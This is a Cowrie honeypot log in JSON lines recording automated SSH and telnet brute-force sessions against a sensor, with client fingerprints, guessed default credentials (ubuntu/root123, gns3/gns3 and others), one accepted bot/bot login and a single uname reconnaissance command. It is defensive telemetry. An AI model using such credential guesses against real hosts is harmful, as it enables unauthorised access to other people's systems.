{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:59.994852Z","src_ip":"91.92.42.133","session":"a3dcb07ab6f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:59.997693Z","src_ip":"91.92.42.133","session":"a3dcb07ab6f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:00.962240Z","src_ip":"91.92.42.133","session":"a3dcb07ab6f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:02.136556Z","src_ip":"91.92.42.133","session":"a3dcb07ab6f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":41514,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb40ce8fc493","protocol":"ssh","message":"New connection: 45.140.193.156:41514 (10.17.0.5:22) [session: cb40ce8fc493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:04.462736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:04.467297Z","src_ip":"45.140.193.156","session":"cb40ce8fc493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:04.580840Z","src_ip":"45.140.193.156","session":"cb40ce8fc493","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root123","message":"login attempt [ubuntu/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:05.070803Z","src_ip":"45.140.193.156","session":"cb40ce8fc493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:06.186860Z","src_ip":"45.140.193.156","session":"cb40ce8fc493","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46160,"dst_ip":"159.203.135.109","dst_port":22,"session":"da6a8efb9926","protocol":"ssh","message":"New connection: 91.92.42.133:46160 (159.203.135.109:22) [session: da6a8efb9926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:07.481572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:07.620037Z","src_ip":"91.92.42.133","session":"da6a8efb9926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:07.631098Z","src_ip":"91.92.42.133","session":"da6a8efb9926","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:08.826581Z","src_ip":"91.92.42.133","session":"da6a8efb9926","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:09.995723Z","src_ip":"91.92.42.133","session":"da6a8efb9926","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:09.998911Z","src_ip":"91.92.42.133","session":"da6a8efb9926","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:10.406826Z","src_ip":"91.92.42.133","session":"da6a8efb9926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:10.410729Z","src_ip":"91.92.42.133","session":"da6a8efb9926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46338,"dst_ip":"159.203.135.109","dst_port":23,"session":"66339250d73e","protocol":"telnet","message":"New connection: 172.81.62.90:46338 (159.203.135.109:23) [session: 66339250d73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:11.584947Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57668,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f4dd0bfdeaa","protocol":"telnet","message":"New connection: 172.81.62.90:57668 (10.17.0.5:23) [session: 1f4dd0bfdeaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:11.588630Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":58040,"dst_ip":"10.17.0.5","dst_port":22,"session":"b464f8e5daf0","protocol":"ssh","message":"New connection: 117.121.214.50:58040 (10.17.0.5:22) [session: b464f8e5daf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:13.526943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:13.530921Z","src_ip":"117.121.214.50","session":"b464f8e5daf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:13.771298Z","src_ip":"117.121.214.50","session":"b464f8e5daf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa$$w0rd12345","message":"login attempt [ubuntu/Pa$$w0rd12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:14.760190Z","src_ip":"117.121.214.50","session":"b464f8e5daf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44842,"dst_ip":"159.203.135.109","dst_port":22,"session":"d97029e5f66d","protocol":"ssh","message":"New connection: 91.92.42.133:44842 (159.203.135.109:22) [session: d97029e5f66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:15.210865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:15.495443Z","src_ip":"91.92.42.133","session":"d97029e5f66d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:15.498168Z","src_ip":"91.92.42.133","session":"d97029e5f66d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:16.040815Z","src_ip":"117.121.214.50","session":"b464f8e5daf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:17.448106Z","src_ip":"91.92.42.133","session":"d97029e5f66d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:18.891995Z","src_ip":"91.92.42.133","session":"d97029e5f66d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44898,"dst_ip":"159.203.135.109","dst_port":22,"session":"591cba282880","protocol":"ssh","message":"New connection: 91.92.42.133:44898 (159.203.135.109:22) [session: 591cba282880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:22.341770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:22.924563Z","src_ip":"91.92.42.133","session":"591cba282880","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:22.927495Z","src_ip":"91.92.42.133","session":"591cba282880","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:24.548478Z","src_ip":"91.92.42.133","session":"591cba282880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:25.896898Z","src_ip":"91.92.42.133","session":"591cba282880","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44958,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fe09b935e67","protocol":"ssh","message":"New connection: 91.92.42.133:44958 (159.203.135.109:22) [session: 2fe09b935e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:30.572419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:30.789869Z","src_ip":"91.92.42.133","session":"2fe09b935e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:30.793302Z","src_ip":"91.92.42.133","session":"2fe09b935e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"rock","message":"login attempt [media/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:32.356025Z","src_ip":"91.92.42.133","session":"2fe09b935e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:33.440011Z","src_ip":"91.92.42.133","session":"2fe09b935e67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44434,"dst_ip":"159.203.135.109","dst_port":22,"session":"da4a5294982c","protocol":"ssh","message":"New connection: 91.92.42.133:44434 (159.203.135.109:22) [session: da4a5294982c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:38.377294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:38.981550Z","src_ip":"91.92.42.133","session":"da4a5294982c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:38.984388Z","src_ip":"91.92.42.133","session":"da4a5294982c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:40.539972Z","src_ip":"91.92.42.133","session":"da4a5294982c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:41.637145Z","src_ip":"91.92.42.133","session":"da4a5294982c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.232789754867554,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:44.821332Z","src_ip":"172.81.62.90","session":"1f4dd0bfdeaa","protocol":"telnet"}
